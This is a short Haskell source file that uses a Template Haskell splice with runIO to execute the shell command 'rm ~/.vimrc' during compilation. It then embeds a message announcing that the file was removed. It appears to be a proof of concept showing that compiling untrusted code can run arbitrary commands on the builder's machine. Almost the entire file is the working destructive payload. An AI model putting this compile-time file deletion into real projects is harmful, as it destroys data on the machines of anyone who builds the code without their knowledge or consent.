vimrc.hs

{-# LANGUAGE TemplateHaskell #-}
{-# LANGUAGE QuasiQuotes #-}

module CompileTime where

import Language.Haskell.TH

import System.Cmd
import System.Exit

removeVimrc :: IO String
removeVimrc = do
  result <- system "rm ~/.vimrc"
  return $ r result
  where
    r ExitSuccess = "your .vimrc is removed!!!"
    r _ = "failed to remove .vimrc"

compiletime :: Q Exp
compiletime = do
            s <- runIO $ removeVimrc
            [|s|]